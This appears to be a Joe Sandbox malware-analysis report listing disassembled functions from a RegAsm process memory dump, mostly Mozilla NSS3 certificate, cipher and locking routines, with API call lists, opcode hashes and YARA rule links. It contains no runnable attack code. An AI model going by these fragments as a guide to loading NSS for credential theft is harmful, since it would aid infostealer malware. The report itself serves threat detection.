Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: ddeebb3719ce6f61eb2e04d9c652d476cc42d5f1c58ad2bff4bfd5514f9a5fcf
Instruction ID: dc9a39885afc92df724e1a0bee11daa1bbe655709655e568e075986fa88bd3c2
Opcode Fuzzy Hash: ddeebb3719ce6f61eb2e04d9c652d476cc42d5f1c58ad2bff4bfd5514f9a5fcf
Instruction Fuzzy Hash: E241A1746143056BE704CA69DC82FAB73E8DF4429DF10052CFA5997B41F774D904DB92

Function 6C43CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C43CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C43D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C43D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C43D025
PR_NewLock.NSS3 ref: 6C43D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C43D074

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 5122e3f1c3fa0ebe40395fda91c85905d2ad2a8be02fd6848baa883d7c378676
Instruction ID: 9d56f21f2bcd163a9b1058994bae8c15ece5818b12a12f9116f3d8ed28690dcb
Opcode Fuzzy Hash: 5122e3f1c3fa0ebe40395fda91c85905d2ad2a8be02fd6848baa883d7c378676
Instruction Fuzzy Hash: CA418FB0A112218FDB10DF2AC880F9A7BB4AF8871DF116169EC1D8B786D774D485CBE1

Function 6C422E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C412D1A), ref: 6C422E7E

Part of subcall function 6C4707B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C418298,?,?,?,6C40FCE5,?), ref: 6C4707BF
Part of subcall function 6C4707B0: PL_HashTableLookup.NSS3(?,?), ref: 6C4707E6
Part of subcall function 6C4707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C47081B
Part of subcall function 6C4707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C470825

PR_Now.NSS3 ref: 6C422EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C422EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C412D1A), ref: 6C422F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C412D1A), ref: 6C422F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C422F81

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: da3b23c9a0b15e836531fbc1d7ff38a63f483689ccf57e535dde05433bd0edee
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 5E3143715211018BF730C625CC4AFBFB265EF80379F660A79D12987AD0EF39988AD661

Function 6C410E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C410A2C), ref: 6C410E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C410A2C), ref: 6C410E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C410A2C), ref: 6C410E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C410A2C), ref: 6C410E90
free.MOZGLUE(00000000), ref: 6C410EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C410A2C), ref: 6C410ED9

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 66e49daa8131ab35a86eacbc39c841bfa01eed6cec6a6d2b70896ef4564add8a
Instruction ID: 8490d7c1f4d871769df0e975c4d4848c9a627e8e033c71c3901a479550d71a77
Opcode Fuzzy Hash: 66e49daa8131ab35a86eacbc39c841bfa01eed6cec6a6d2b70896ef4564add8a
Instruction Fuzzy Hash: CB212C76F0938457EB10C9679C45F7B76AEDBC574AF190035D89897F02EA60C83583E1

Function 6C3FA9B0 Relevance: 9.1, APIs: 6, Instructions: 101synchronizationCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,?,6C4D9270), ref: 6C3FA9BF
PR_IntervalToMilliseconds.NSS3(?,?,6C4D9270), ref: 6C3FA9DE

Part of subcall function 6C3FAB40: __aulldiv.LIBCMT ref: 6C3FAB66

Part of subcall function 6C4DCA40: LeaveCriticalSection.KERNEL32(?), ref: 6C4DCAAB

LeaveCriticalSection.KERNEL32(?), ref: 6C3FAA2C
WaitForSingleObject.KERNEL32(?,-00000001), ref: 6C3FAA39
EnterCriticalSection.KERNEL32(?), ref: 6C3FAA42
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C3FAAEB

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CriticalSection$LeaveObjectSingleWait$EnterIntervalMillisecondsValue__aulldiv
String ID:
API String ID: 4008047719-0
Opcode ID: 1a4d74256922e140264cc6ecc95488e8c71c6f7a94f70743ca30378497749e44
Instruction ID: 8599137c4df4c6bdac720165bab57147be5ab2119c1eabd9bae4e9c6afad2376
Opcode Fuzzy Hash: 1a4d74256922e140264cc6ecc95488e8c71c6f7a94f70743ca30378497749e44
Instruction Fuzzy Hash: D04180706047018FDB009F29C984796BBF5FB06318F258A6DE46D8B651DB76E886CF90

Function 6C4288D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C430725,00000000,00000058), ref: 6C428906
EnterCriticalSection.KERNEL32(?), ref: 6C42891A
PL_ArenaAllocate.NSS3(?,?), ref: 6C42894A
calloc.MOZGLUE(00000001,6C43072D,00000000,00000000,00000000,?,6C430725,00000000,00000058), ref: 6C428959
memset.VCRUNTIME140(?,00000000,?), ref: 6C428993
PR_Unlock.NSS3(?), ref: 6C4289AF

Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007AD
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007CD
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007D6
Part of subcall function 6C4007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C39204A), ref: 6C4007E4
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,6C39204A), ref: 6C400864
Part of subcall function 6C4007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C400880
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,6C39204A), ref: 6C4008CB
Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(?,?,6C39204A), ref: 6C4008D7
Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(?,?,6C39204A), ref: 6C4008FB

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: 3d7163b0a66afdf6f677c3b70a34e53c378f07f3e60b95bc0bd11738a99bd65d
Instruction ID: 65367abf69fddafb58f448f2fa9d2e201e31ac76be07a1ce30c7f65790f765d1
Opcode Fuzzy Hash: 3d7163b0a66afdf6f677c3b70a34e53c378f07f3e60b95bc0bd11738a99bd65d
Instruction Fuzzy Hash: 3A31F173E00215ABDB00DF28CC42E5EB7A8EF45359F15866AEC189BB41E736E845C7D2

Function 6C41AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C41AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C41AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C41AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C41AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C539500), ref: 6C41AF23

Part of subcall function 6C46F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C46F0C8
Part of subcall function 6C46F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C46F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C41AF37

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 422c07b4f1b21b99dee643002a78c79c7b052e7bb868bd139f2b9ef1eefd0fc6
Instruction ID: 83f8e7d5a2ac6c5244fb2173d49ee5257e9fa50ad2a265d2f2ef5895f8c8eb7a
Opcode Fuzzy Hash: 422c07b4f1b21b99dee643002a78c79c7b052e7bb868bd139f2b9ef1eefd0fc6
Instruction Fuzzy Hash: D721F8B29093006BEB10CE199C41FAA77E4AF8572CF144319FC98ABB91E731D54987E6

Function 6C49EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C49EE85
realloc.MOZGLUE(8327CEB7,?), ref: 6C49EEAE
PORT_Alloc_Util.NSS3(?), ref: 6C49EEC5

Part of subcall function 6C470BE0: malloc.MOZGLUE(6C468D2D,?,00000000,?), ref: 6C470BF8
Part of subcall function 6C470BE0: TlsGetValue.KERNEL32(6C468D2D,?,00000000,?), ref: 6C470C15

htonl.WSOCK32(?), ref: 6C49EEE3
htonl.WSOCK32(00000000,?), ref: 6C49EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C49EF01

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 6c8b58d4220010f93fbe30bf0da8581821f071fe0359d1ea80a59a04fb3fb087
Instruction ID: de1a34820d25d066599efed28de1c66e4a2e4e47b37e1dfe2ddc40ebeeb7006e
Opcode Fuzzy Hash: 6c8b58d4220010f93fbe30bf0da8581821f071fe0359d1ea80a59a04fb3fb087
Instruction Fuzzy Hash: EB21A031A002249BDF10DF28DC80F9A7BA4EF49359F158129EC099B751E330EC15CBE6

Function 6C44EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C44EE49

Part of subcall function 6C46FAB0: free.MOZGLUE(?,-00000001,?,?,6C40F673,00000000,00000000), ref: 6C46FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C44EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C44EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C44EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C44EEB3

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: b2fa629ac180f38fcd07ca8d3545db22d54b3011cb2248c1b0e8b0e61242657a
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 8221C3B6A002206BFB11CA59DCC1FABB7A8EB49709F244168FD089B751E771DC1487E1

Function 6C464820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C464EB8,?), ref: 6C464884

Part of subcall function 6C468800: TlsGetValue.KERNEL32(?,6C47085A,00000000,?,6C418369,?), ref: 6C468821
Part of subcall function 6C468800: TlsGetValue.KERNEL32(?,?,6C47085A,00000000,?,6C418369,?), ref: 6C46883D
Part of subcall function 6C468800: EnterCriticalSection.KERNEL32(?,?,?,6C47085A,00000000,?,6C418369,?), ref: 6C468856
Part of subcall function 6C468800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C468887
Part of subcall function 6C468800: PR_Unlock.NSS3(?,?,?,?,6C47085A,00000000,?,6C418369,?), ref: 6C468899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C464EB8,?,?,?,?,?,?,?,?,?,?,6C4278F8), ref: 6C46484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C464EB8,?,?,?,?,?,?,?,?,?,?,6C4278F8), ref: 6C46486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C4278F8), ref: 6C464899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4648A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4648B8

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: cea2eb254bdfa7f85b472053b9e60b0a203c97a9398a5bf82456ca3238de0801
Instruction ID: 2951d3dd1f0044e37fa19aca4c02d65db13a4bd34c48b92fce4ff3fbe38504b1
Opcode Fuzzy Hash: cea2eb254bdfa7f85b472053b9e60b0a203c97a9398a5bf82456ca3238de0801
Instruction Fuzzy Hash: F121077AF00250D7EF00DFA6DC84D5677B8AF06389B051528DA094BF05E721E86587F1

Function 6C4289E0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C4288AE,-00000008), ref: 6C428A04
EnterCriticalSection.KERNEL32(?), ref: 6C428A15
memset.VCRUNTIME140(6C4288AE,00000000,00000132), ref: 6C428A27
PR_Unlock.NSS3(?), ref: 6C428A35
memset.VCRUNTIME140(6C4288AE,00000000,00000132,00000000,-00000008,00000000,?,?,6C4288AE,-00000008), ref: 6C428A45
free.MOZGLUE(6C4288A6,?,6C4288AE,-00000008), ref: 6C428A4E

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: memset$CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 65992600-0
Opcode ID: 0988aa681684adfd65e6ce21eb835fea8fd5ae81097fa11aac15b24f2f4bbe7a
Instruction ID: f1b6381624ba1593ac8fa2b4bd3e7f02b25d007107f3872e5e57bab382541be5
Opcode Fuzzy Hash: 0988aa681684adfd65e6ce21eb835fea8fd5ae81097fa11aac15b24f2f4bbe7a
Instruction Fuzzy Hash: 211103B2E002009BEB00DF68DC86E6EBBB8FF05208F000526E9049A701EB35E55486E1

Function 6C528910 Relevance: 9.1, APIs: 6, Instructions: 55threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C52892E

Part of subcall function 6C400F00: PR_GetPageSize.NSS3(6C400936,FFFFE8AE,?,6C3916B7,00000000,?,6C400936,00000000,?,6C39204A), ref: 6C400F1B
Part of subcall function 6C400F00: PR_NewLogModule.NSS3(clock,6C400936,FFFFE8AE,?,6C3916B7,00000000,?,6C400936,00000000,?,6C39204A), ref: 6C400F25

PR_Lock.NSS3 ref: 6C528950

Part of subcall function 6C4D9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C401A48), ref: 6C4D9BB3
Part of subcall function 6C4D9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C401A48), ref: 6C4D9BC8

getprotobynumber.WSOCK32(?), ref: 6C528959
GetLastError.KERNEL32(?), ref: 6C528967
PR_GetCurrentThread.NSS3(?,?), ref: 6C52896F
PR_Unlock.NSS3(?,?), ref: 6C52898A

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobynumber
String ID:
API String ID: 4143355744-0
Opcode ID: a7ed798c2cb5a122ea584398e87ce44036c868e652a3e1f6e739ab3661f162d6
Instruction ID: d2140033584ca0075b19a2b50fdfcd6ee2f25b7dc95b57fe6b0d2313dd169f62
Opcode Fuzzy Hash: a7ed798c2cb5a122ea584398e87ce44036c868e652a3e1f6e739ab3661f162d6
Instruction Fuzzy Hash: FC11A372A101209BCB00AFB99C54A4A3AA4AB46328F0642AADC1997BA1D7359C04D7DA

Function 6C4A6840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6C4AAA9B,?,?,?,?,?,?,?,00000000,?,6C4A80C1), ref: 6C4A6846

Part of subcall function 6C401770: calloc.MOZGLUE(00000001,0000019C,?,6C4015C2,?,?,?,?,?,00000001,00000040), ref: 6C40178D

PR_NewMonitor.NSS3(00000000,?,6C4AAA9B,?,?,?,?,?,?,?,00000000,?,6C4A80C1), ref: 6C4A6855

Part of subcall function 6C468680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6C4155D0,00000000,00000000), ref: 6C46868B
Part of subcall function 6C468680: PR_NewLock.NSS3(00000000,00000000), ref: 6C4686A0
Part of subcall function 6C468680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C4686B2
Part of subcall function 6C468680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C4686C8
Part of subcall function 6C468680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C4686E2
Part of subcall function 6C468680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C4686EC
Part of subcall function 6C468680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C468700

PR_NewMonitor.NSS3(?,6C4AAA9B,?,?,?,?,?,?,?,00000000,?,6C4A80C1), ref: 6C4A687D

Part of subcall function 6C401770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C4018DE
Part of subcall function 6C401770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C4018F1

PR_NewMonitor.NSS3(?,6C4AAA9B,?,?,?,?,?,?,?,00000000,?,6C4A80C1), ref: 6C4A688C

Part of subcall function 6C401770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C4018FC
Part of subcall function 6C401770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C40198A

PR_NewLock.NSS3 ref: 6C4A68A5

Part of subcall function 6C4D98D0: calloc.MOZGLUE(00000001,00000084,6C400936,00000001,?,6C40102C), ref: 6C4D98E5

PR_NewLock.NSS3 ref: 6C4A68B4

Part of subcall function 6C4D98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C4D9946
Part of subcall function 6C4D98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C3916B7,00000000), ref: 6C4D994E
Part of subcall function 6C4D98D0: free.MOZGLUE(00000000), ref: 6C4D995E

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
